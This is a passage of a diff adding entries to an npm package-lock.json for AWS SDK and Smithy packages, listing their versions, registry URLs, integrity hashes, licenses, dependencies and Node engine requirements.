"sha512-4KT8UXRmvNAP5zKq9UI1MIwbnmSChZncBt89RKu/skMqZSSWGkBZTAJsZ+no+txfmF3kVaUFv31CTBZkQ5BJpQ==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/middleware-sdk-s3": "^3.972.30", + "@aws-sdk/types": "^3.973.8", + "@smithy/protocol-http": "^5.3.14", + "@smithy/signature-v4": "^5.3.14", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/token-providers": { + "version": "3.1032.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/token-providers/-/token-providers-3.1032.0.tgz", + "integrity": "sha512-n+PU8Z+gll7p3wDrH+Wo6fkt8sPrVnq30YYM6Ryga95oJlEneNMEbDHj0iqjMX3V7gaGdJo/hJWyPo4lscP+mA==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/core": "^3.974.1", + "@aws-sdk/nested-clients": "^3.996.21", + "@aws-sdk/types": "^3.973.8", + "@smithy/property-provider": "^4.2.14", + "@smithy/shared-ini-file-loader": "^4.4.9", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/types": { + "version": "3.973.8", + "resolved": "https://registry.npmjs.org/@aws-sdk/types/-/types-3.973.8.tgz", + "integrity": "sha512-gjlAdtHMbtR9X5iIhVUvbVcy55KnznpC6bkDUWW9z915bi0ckdUr5cjf16Kp6xq0bP5HBD2xzgbL9F9Quv5vUw==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/util-arn-parser": { + "version": "3.972.3", + "resolved": "https://registry.npmjs.org/@aws-sdk/util-arn-parser/-/util-arn-parser-3.972.3.tgz", + "integrity": "sha512-HzSD8PMFrvgi2Kserxuff5VitNq2sgf3w9qxmskKDiDTThWfVteJxuCS9JXiPIPtmCrp+7N9asfIaVhBFORllA==", + "license": "Apache-2.0", + "dependencies": { + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/util-endpoints": { + "version": "3.996.7", + "resolved": "https://registry.npmjs.org/@aws-sdk/util-endpoints/-/util-endpoints-3.996.7.tgz", + "integrity": "sha512-ty4LQxN1QC+YhUP28NfEgZDEGXkyqOQy+BDriBozqHsrYO4JMgiPhfizqOGF7P+euBTZ5Ez6SKlLAMCLo8tzmw==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/types": "^3.973.8", + "@smithy/types": "^4.14.1", + "@smithy/url-parser": "^4.2.14", + "@smithy/util-endpoints": "^3.4.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/util-format-url": { + "version": "3.972.10", + "resolved": "https://registry.npmjs.org/@aws-sdk/util-format-url/-/util-format-url-3.972.10.tgz", + "integrity": "sha512-DEKiHNJVtNxdyTeQspzY+15Po/kHm6sF0Cs4HV9Q2+lplB63+DrvdeiSoOSdWEWAoO2RcY1veoXVDz2tWxWCgQ==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/types": "^3.973.8", + "@smithy/querystring-builder": "^4.2.14", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/util-locate-window": { + "version": "3.965.5", + "resolved": "https://registry.npmjs.org/@aws-sdk/util-locate-window/-/util-locate-window-3.965.5.tgz", + "integrity": "sha512-WhlJNNINQB+9qtLtZJcpQdgZw3SCDCpXdUJP7cToGwHbCWCnRckGlc6Bx/OhWwIYFNAn+FIydY8SZ0QmVu3xTQ==", + "license": "Apache-2.0", + "dependencies": { + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/util-user-agent-browser": { + "version": "3.972.10", + "resolved": "https://registry.npmjs.org/@aws-sdk/util-user-agent-browser/-/util-user-agent-browser-3.972.10.tgz", + "integrity": "sha512-FAzqXvfEssGdSIz8ejatan0bOdx1qefBWKF/gWmVBXIP1HkS7v/wjjaqrAGGKvyihrXTXW00/2/1nTJtxpXz7g==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/types": "^3.973.8", + "@smithy/types": "^4.14.1", + "bowser": "^2.11.0", + "tslib": "^2.6.2" + } + }, + "node_modules/@aws-sdk/util-user-agent-node": { + "version": "3.973.17", + "resolved": "https://registry.npmjs.org/@aws-sdk/util-user-agent-node/-/util-user-agent-node-3.973.17.tgz", + "integrity": "sha512-utF5qjjbuJQuU9VdCkWl7L87sr93cApsrD+uxGfUnlafX8iyEzJrb7EZnufjThURZVTOtelRMXrblWxpefElUg==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/middleware-user-agent": "^3.972.31", + "@aws-sdk/types": "^3.973.8", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/types": "^4.14.1", + "@smithy/util-config-provider": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "aws-crt": ">=1.0.0" + }, + "peerDependenciesMeta": { + "aws-crt": { + "optional": true + } + } + }, + "node_modules/@aws-sdk/xml-builder": { + "version": "3.972.18", + "resolved": "https://registry.npmjs.org/@aws-sdk/xml-builder/-/xml-builder-3.972.18.tgz", + "integrity": "sha512-BMDNVG1ETXRhl1tnisQiYBef3RShJ1kfZA7x7afivTFMLirfHNTb6U71K569HNXhSXbQZsweHvSDZ6euBw8hPA==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/types": "^4.14.1", + "fast-xml-parser": "5.5.8", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws/lambda-invoke-store": { + "version": "0.2.4", + "resolved": "https://registry.npmjs.org/@aws/lambda-invoke-store/-/lambda-invoke-store-0.2.4.tgz", + "integrity": "sha512-iY8yvjE0y651BixKNPgmv1WrQc+GZ142sb0z4gYnChDDY2YqI4P/jsSopBWrKfAt7LOJAkOXt7rC/hms+WclQQ==", + "license": "Apache-2.0", + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/chunked-blob-reader": { + "version": "5.2.2", + "resolved": "https://registry.npmjs.org/@smithy/chunked-blob-reader/-/chunked-blob-reader-5.2.2.tgz", + "integrity": "sha512-St+kVicSyayWQca+I1rGitaOEH6uKgE8IUWoYnnEX26SWdWQcL6LvMSD19Lg+vYHKdT9B2Zuu7rd3i6Wnyb/iw==", + "license": "Apache-2.0", + "dependencies": { + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/chunked-blob-reader-native": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/@smithy/chunked-blob-reader-native/-/chunked-blob-reader-native-4.2.3.tgz", + "integrity": "sha512-jA5k5Udn7Y5717L86h4EIv06wIr3xn8GM1qHRi/Nf31annXcXHJjBKvgztnbn2TxH3xWrPBfgwHsOwZf0UmQWw==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/util-base64": "^4.3.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/config-resolver": { + "version": "4.4.16", + "resolved": "https://registry.npmjs.org/@smithy/config-resolver/-/config-resolver-4.4.16.tgz", + "integrity": "sha512-GFlGPNLZKrGfqWpqVb31z7hvYCA9ZscfX1buYnvvMGcRYsQQnhH+4uN6mWWflcD5jB4OXP/LBrdpukEdjl41tg==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/node-config-provider": "^4.3.14", + "@smithy/types": "^4.14.1", + "@smithy/util-config-provider": "^4.2.2", + "@smithy/util-endpoints": "^3.4.1", + "@smithy/util-middleware": "^4.2.14", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/core": { + "version": "3.23.15", + "resolved": "https://registry.npmjs.org/@smithy/core/-/core-3.23.15.tgz", + "integrity": "sha512-E7GVCgsQttzfujEZb6Qep005wWf4xiL4x06apFEtzQMWYBPggZh/0cnOxPficw5cuK/YjjkehKoIN4YUaSh0UQ==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/protocol-http": "^5.3.14", + "@smithy/types": "^4.14.1", + "@smithy/url-parser": "^4.2.14", + "@smithy/util-base64": "^4.3.2", + "@smithy/util-body-length-browser": "^4.2.2", + "@smithy/util-middleware": "^4.2.14", + "@smithy/util-stream": "^4.5.23", + "@smithy/util-utf8": "^4.2.2", + "@smithy/uuid": "^1.1.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/credential-provider-imds": { + "version": "4.2.14", + "resolved": "https://registry.npmjs.org/@smithy/credential-provider-imds/-/credential-provider-imds-4.2.14.tgz", + "integrity": "sha512-Au28zBN48ZAoXdooGUHemuVBrkE+Ie6RPmGNIAJsFqj33Vhb6xAgRifUydZ2aY+M+KaMAETAlKk5NC5h1G7wpg==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/node-config-provider": "^4.3.14", + "@smithy/property-provider": "^4.2.14", + "@smithy/types": "^4.14.1", + "@smithy/url-parser": "^4.2.14", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/eventstream-codec": { + "version": "4.2.14", + "resolved": "https://registry.npmjs.org/@smithy/eventstream-codec/-/eventstream-codec-4.2.14.tgz", + "integrity": "sha512-erZq0nOIpzfeZdCyzZjdJb4nVSKLUmSkaQUVkRGQTXs30gyUGeKnrYEg+Xe1W5gE3aReS7IgsvANwVPxSzY6Pw==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/crc32": "5.2.0", + "@smithy/types": "^4.14.1", + "@smithy/util-hex-encoding": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/eventstream-serde-browser": { + "version": "4.2.14", + "resolved": "https://registry.npmjs.org/@smithy/eventstream-serde-browser/-/eventstream-serde-browser-4.2.14.tgz", + "integrity": "sha512-8IelTCtTctWRbb+0Dcy+C0aICh1qa0qWXqgjcXDmMuCvPJRnv26hiDZoAau2ILOniki65mCPKqOQs/BaWvO4CQ==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/eventstream-serde-universal": "^4.2.14", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/eventstream-serde-config-resolver": { + "version": "4.3.14", + "resolved": "https://registry.npmjs.org/@smithy/eventstream-serde-config-resolver/-/eventstream-serde-config-resolver-4.3.14.tgz", + "integrity": "sha512-sqHiHpYRYo3FJlaIxD1J8PhbcmJAm7IuM16mVnwSkCToD7g00IBZzKuiLNMGmftULmEUX6/UAz8/NN5uMP8bVA==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/eventstream-serde-node": { + "version": "4.2.14", + "resolved": "https://registry.npmjs.org/@smithy/eventstream-serde-node/-/eventstream-serde-node-4.2.14.tgz", + "integrity": "sha512-Ht/8BuGlKfFTy0H3+8eEu0vdpwGztCnaLLXtpXNdQqiR7Hj4vFScU3T436vRAjATglOIPjJXronY+1WxxNLSiw==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/eventstream-serde-universal": "^4.2.14", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/eventstream-serde-universal": { + "version": "4.2.14", + "resolved": "https://registry.npmjs.org/@smithy/eventstream-serde-universal/-/eventstream-serde-universal-4.2.14.tgz", + "integrity": "sha512-lWyt4T2XQZUZgK3tQ3Wn0w3XBvZsK/vjTuJl6bXbnGZBHH0ZUSONTYiK9TgjTTzU54xQr3DRFwpjmhp0oLm3gg==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/eventstream-codec": "^4.2.14", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/fetch-http-handler": { + "version": "5.3.17", + "resolved": "https://registry.npmjs.org/@smithy/fetch-http-handler/-/fetch-http-handler-5.3.17.tgz", + "integrity": "sha512-bXOvQzaSm6MnmLaWA1elgfQcAtN4UP3vXqV97bHuoOrHQOJiLT3ds6o9eo5bqd0TJfRFpzdGnDQdW3FACiAVdw==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/protocol-http": "^5.3.14", + "@smithy/querystring-builder": "^4.2.14", + "@smithy/types": "^4.14.1", + "@smithy/util-base64": "^4.3.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/hash-blob-browser": { + "version": "4.2.15", + "resolved": "https://registry.npmjs.org/@smithy/hash-blob-browser/-/hash-blob-browser-4.2.15.tgz", + "integrity": "sha512-0PJ4Al3fg2nM4qKrAIxyNcApgqHAXcBkN8FeizOz69z0rb26uZ6lMESYtxegaTlXB5Hj84JfwMPavMrwDMjucA==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/chunked-blob-reader": "^5.2.2", + "@smithy/chunked-blob-reader-native": "^4.2.3", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/hash-node": { + "version": "4.2.14", + "resolved": "https://registry.npmjs.org/@smithy/hash-node/-/hash-node-4.2.14.tgz", + "integrity": "sha512-8ZBDY2DD4wr+GGjTpPtiglEsqr0lUP+KHqgZcWczFf6qeZ/YRjMIOoQWVQlmwu7EtxKTd8YXD8lblmYcpBIA1g==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/types": "^4.14.1", + "@smithy/util-buffer-from": "^4.2.2", + "@smithy/util-utf8": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/hash-stream-node": { + "version": "4.2.14", + "resolved": "https://registry.npmjs.org/@smithy/hash-stream-node/-/hash-stream-node-4.2.14.tgz", + "integrity": "sha512-tw4GANWkZPb6+BdD4Fgucqzey2+r73Z/GRo9zklsCdwrnxxumUV83ZIaBDdudV4Ylazw3EPTiJZhpX42105ruQ==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/types": "^4.14.1", + "@smithy/util-utf8": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/invalid-dependency": { + "version": "4.2.14", + "resolved": "https://registry.npmjs.org/@smithy/invalid-dependency/-/invalid-dependency-4.2.14.tgz", + "integrity": "sha512-c21qJiTSb25xvvOp+H2TNZzPCngrvl5vIPqPB8zQ/DmJF4QWXO19x1dWfMJZ6wZuuWUPPm0gV8C0cU3+ifcWuw==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/is-array-buffer": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/@smithy/is-array-buffer/-/is-array-buffer-4.2.2.tgz", + "integrity": "sha512-n6rQ4N8Jj4YTQO3YFrlgZuwKodf4zUFs7EJIWH86pSCWBaAtAGBFfCM7Wx6D2bBJ2xqFNxGBSrUWswT3M0VJow==", + "license": "Apache-2.0", + "dependencies": { + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/md5-js": { + "version": "4.2.14", + "resolved": "https://registry.npmjs.org/@smithy/md5-js/-/md5-js-4.2.14.tgz", + "integrity": "sha512-V2v0vx+h0iUSNG1Alt+GNBMSLGCrl9iVsdd+Ap67HPM9PN479x12V8LkuMoKImNZxn3MXeuyUjls+/7ZACZghA==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/types": "^4.14.1", + "@smithy/util-utf8": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/middleware-content-length": { + "version": "4.2.14", + "resolved": "https://registry.npmjs.org/@smithy/middleware-content-length/-/middleware-content-length-4.2.14.tgz", + "integrity": "sha512-xhHq7fX4/3lv5NHxLUk3OeEvl0xZ+Ek3qIbWaCL4f9JwgDZEclPBElljaZCAItdGPQl/kSM4LPMOpy1MYgprpw==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/protocol-http": "^5.3.14", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/middleware-endpoint": { + "version": "4.4.30", + "resolved": "https://registry.npmjs.org/@smithy/middleware-endpoint/-/middleware-endpoint-4.4.30.tgz", + "integrity": "sha512-qS2XqhKeXmdZ4nEQ4cOxIczSP/Y91wPAHYuRwmWDCh975B7/57uxsm5d6sisnUThn2u2FwzMdJNM7AbO1YPsPg==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/core": "^3.23.15", + "@smithy/middleware-serde": "^4.2.18", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/shared-ini-file-loader": "^4.4.9", + "@smithy/types": "^4.14.1", + "@smithy/url-parser": "^4.2.14", + "@smithy/util-middleware": "^4.2.14", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/middleware-retry": { + "version": "4.5.3", + "resolved": "https://registry.npmjs.org/@smithy/middleware-retry/-/middleware-retry-4.5.3.tgz", + "integrity": "sha512-TE8dJNi6JuxzGSxMCVd3i9IEWDndCl3bmluLsBNDWok8olgj65OfkndMhl9SZ7m14c+C5SQn/PcUmrDl57rSFw==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/core": "^3.23.15", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/protocol-http": "^5.3.14", + "@smithy/service-error-classification": "^4.2.14", + "@smithy/smithy-client": "^4.12.11", + "@smithy/types": "^4.14.1", + "@smithy/util-middleware": "^4.2.14", + "@smithy/util-retry": "^4.3.2", + "@smithy/uuid": "^1.1.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/middleware-serde": { + "version": "4.2.18", + "resolved": "https://registry.npmjs.org/@smithy/middleware-serde/-/middleware-serde-4.2.18.tgz", + "integrity": "sha512-M6CSgnp3v4tYz9ynj2JHbA60woBZcGqEwNjTKjBsNHPV26R1ZX52+0wW8WsZU18q45jD0tw2wL22S17Ze9LpEw==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/core": "^3.23.15", + "@smithy/protocol-http": "^5.3.14", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/middleware-stack": { + "version": "4.2.14", + "resolved": "https://registry.npmjs.org/@smithy/middleware-stack/-/middleware-stack-4.2.14.tgz", + "integrity": "sha512-2dvkUKLuFdKsCRmOE4Mn63co0Djtsm+JMh0bYZQupN1pJwMeE8FmQmRLLzzEMN0dnNi7CDCYYH8F0EVwWiPBeA==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/node-config-provider": { + "version": "4.3.14", + "resolved": "https://registry.npmjs.org/@smithy/node-config-provider/-/node-config-provider-4.3.14.tgz", + "integrity": "sha512-S+gFjyo/weSVL0P1b9Ts8C/CwIfNCgUPikk3sl6QVsfE/uUuO+QsF+NsE/JkpvWqqyz1wg7HFdiaZuj5CoBMRg==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/property-provider": "^4.2.14", + "@smithy/shared-ini-file-loader": "^4.4.9", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/node-http-handler": { + "version": "4.5.3", + "resolved": "https://registry.npmjs.org/@smithy/node-http-handler/-/node-http-handler-4.5.3.tgz", + "integrity": "sha512-lc5jFL++x17sPhIwMWJ3YOnqmSjw/2Po6VLDlUIXvxVWRuJwRXnJ4jOBBLB0cfI5BB5ehIl02Fxr1PDvk/kxDw==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/protocol-http": "^5.3.14", + "@smithy/querystring-builder": "^4.2.14", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/property-provider": { + "version": "4.2.14", + "resolved": "https://registry.npmjs.org/@smithy/property-provider/-/property-provider-4.2.14.tgz", + "integrity": "sha512-WuM31CgfsnQ/10i7NYr0PyxqknD72Y5uMfUMVSniPjbEPceiTErb4eIqJQ+pdxNEAUEWrewrGjIRjVbVHsxZiQ==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/protocol-http": { + "version": "5.3.14", + "resolved": "https://registry.npmjs.org/@smithy/protocol-http/-/protocol-http-5.3.14.tgz", + "integrity": "sha512-dN5F8kHx8RNU0r+pCwNmFZyz6ChjMkzShy/zup6MtkRmmix4vZzJdW+di7x//b1LiynIev88FM18ie+wwPcQtQ==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/querystring-builder": { + "version": "4.2.14", + "resolved": "https://registry.npmjs.org/@smithy/querystring-builder/-/querystring-builder-4.2.14.tgz", + "integrity": "sha512-XYA5Z0IqTeF+5XDdh4BBmSA0HvbgVZIyv4cmOoUheDNR57K1HgBp9ukUMx3Cr3XpDHHpLBnexPE3LAtDsZkj2A==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/types": "^4.14.1", + "@smithy/util-uri-escape": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/querystring-parser": { + "version": "4.2.14", + "resolved": "https://registry.npmjs.org/@smithy/querystring-parser/-/querystring-parser-4.2.14.tgz", + "integrity": "sha512-hr+YyqBD23GVvRxGGrcc/oOeNlK3PzT5Fu4dzrDXxzS1LpFiuL2PQQqKPs87M79aW7ziMs+nvB3qdw77SqE7Lw==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/service-error-classification": { + "version": "4.2.14", + "resolved": "https://registry.npmjs.org/@smithy/service-error-classification/-/service-error-classification-4.2.14.tgz", + "integrity": "sha512-vVimoUnGxlx4eLLQbZImdOZFOe+Zh+5ACntv8VxZuGP72LdWu5GV3oEmCahSEReBgRJoWjypFkrehSj7BWx1HQ==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/types": "^4.14.1" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/shared-ini-file-loader": { + "version": "4.4.9", + "resolved": "https://registry.npmjs.org/@smithy/shared-ini-file-loader/-/shared-ini-file-loader-4.4.9.tgz", + "integrity": "sha512-495/V2I15SHgedSJoDPD23JuSfKAp726ZI1V0wtjB07Wh7q/0tri/0e0DLefZCHgxZonrGKt/OCTpAtP1wE1kQ==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/signature-v4": { + "version": "5.3.14", + "resolved": "https://registry.npmjs.org/@smithy/signature-v4/-/signature-v4-5.3.14.tgz", + "integrity": "sha512-1D9Y/nmlVjCeSivCbhZ7hgEpmHyY1h0GvpSZt3l0xcD9JjmjVC1CHOozS6+Gh+/ldMH8JuJ6cujObQqfayAVFA==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/is-array-buffer": "^4.2.2", + "@smithy/protocol-http": "^5.3.14", + "@smithy/types": "^4.14.1", + "@smithy/util-hex-encoding": "^4.2.2", + "@smithy/util-middleware": "^4.2.14", + "@smithy/util-uri-escape": "^4.2.2", + "@smithy/util-utf8": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/smithy-client": { + "version": "4.12.11", + "resolved": "https://registry.npmjs.org/@smithy/smithy-client/-/smithy-client-4.12.11.tgz", + "integrity": "sha512-wzz/Wa1CH/Tlhxh0s4DQPEcXSxSVfJ59AZcUh9Gu0c6JTlKuwGf4o/3P2TExv0VbtPFt8odIBG+eQGK2+vTECg==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/core": "^3.23.15", + "@smithy/middleware-endpoint": "^4.4.30", + "@smithy/middleware-stack": "^4.2.14", + "@smithy/protocol-http": "^5.3.14", + "@smithy/types": "^4.14.1", + "@smithy/util-stream": "^4.5.23", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/types": { + "version": "4.14.1", + "resolved": "https://registry.npmjs.org/@smithy/types/-/types-4.14.1.tgz", + "integrity": "sha512-59b5HtSVrVR/eYNei3BUj3DCPKD/G7EtDDe7OEJE7i7FtQFugYo6MxbotS8mVJkLNVf8gYaAlEBwwtJ9HzhWSg==", + "license": "Apache-2.0", + "dependencies": { + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/url-parser": { + "version": "4.2.14", + "resolved": "https://registry.npmjs.org/@smithy/url-parser/-/url-parser-4.2.14.tgz", + "integrity": "sha512-p06BiBigJ8bTA3MgnOfCtDUWnAMY0YfedO/GRpmc7p+wg3KW8vbXy1xwSu5ASy0wV7rRYtlfZOIKH4XqfhjSQQ==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/querystring-parser": "^4.2.14", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/util-base64": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/@smithy/util-base64/-/util-base64-4.3.2.tgz", + "integrity": "sha512-XRH6b0H/5A3SgblmMa5ErXQ2XKhfbQB+Fm/oyLZ2O2kCUrwgg55bU0RekmzAhuwOjA9qdN5VU2BprOvGGUkOOQ==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/util-buffer-from": "^4.2.2", + "@smithy/util-utf8": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/util-body-length-browser": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/@smithy/util-body-length-browser/-/util-body-length-browser-4.2.2.tgz", + "integrity": "sha512-JKCrLNOup3OOgmzeaKQwi4ZCTWlYR5H4Gm1r2uTMVBXoemo1UEghk5vtMi1xSu2ymgKVGW631e2fp9/R610ZjQ==", + "license": "Apache-2.0", + "dependencies": { + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/util-body-length-node": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/@smithy/util-body-length-node/-/util-body-length-node-4.2.3.tgz", + "integrity": "sha512-ZkJGvqBzMHVHE7r/hcuCxlTY8pQr1kMtdsVPs7ex4mMU+EAbcXppfo5NmyxMYi2XU49eqaz56j2gsk4dHHPG/g==", + "license": "Apache-2.0", + "dependencies": { + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/util-buffer-from": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/@smithy/util-buffer-from/-/util-buffer-from-4.2.2.tgz", + "integrity": "sha512-FDXD7cvUoFWwN6vtQfEta540Y/YBe5JneK3SoZg9bThSoOAC/eGeYEua6RkBgKjGa/sz6Y+DuBZj3+YEY21y4Q==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/is-array-buffer": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/util-config-provider": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/@smithy/util-config-provider/-/util-config-provider-4.2.2.tgz", + "integrity": "sha512-dWU03V3XUprJwaUIFVv4iOnS1FC9HnMHDfUrlNDSh4315v0cWyaIErP8KiqGVbf5z+JupoVpNM7ZB3jFiTejvQ==", + "license": "Apache-2.0", + "dependencies": { + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/util-defaults-mode-browser": { + "version": "4.3.47", + "resolved": "https://registry.npmjs.org/@smithy/util-defaults-mode-browser/-/util-defaults-mode-browser-4.3.47.tgz", + "integrity": "sha512-zlIuXai3/SHjQUQ8y3g/woLvrH573SK2wNjcDaHu5e9VOcC0JwM1MI0Sq0GZJyN3BwSUneIhpjZ18nsiz5AtQw==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/property-provider": "^4.2.14", + "@smithy/smithy-client": "^4.12.11", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/util-defaults-mode-node": { + "version": "4.2.52", + "resolved": "https://registry.npmjs.org/@smithy/util-defaults-mode-node/-/util-defaults-mode-node-4.2.52.tgz", + "integrity": "sha512-cQBz8g68Vnw1W2meXlkb3D/hXJU+Taiyj9P8qLJtjREEV9/Td65xi4A/H1sRQ8EIgX5qbZbvdYPKygKLholZ3w==", + "license": "Apache-2.0", + "dependencies": { + 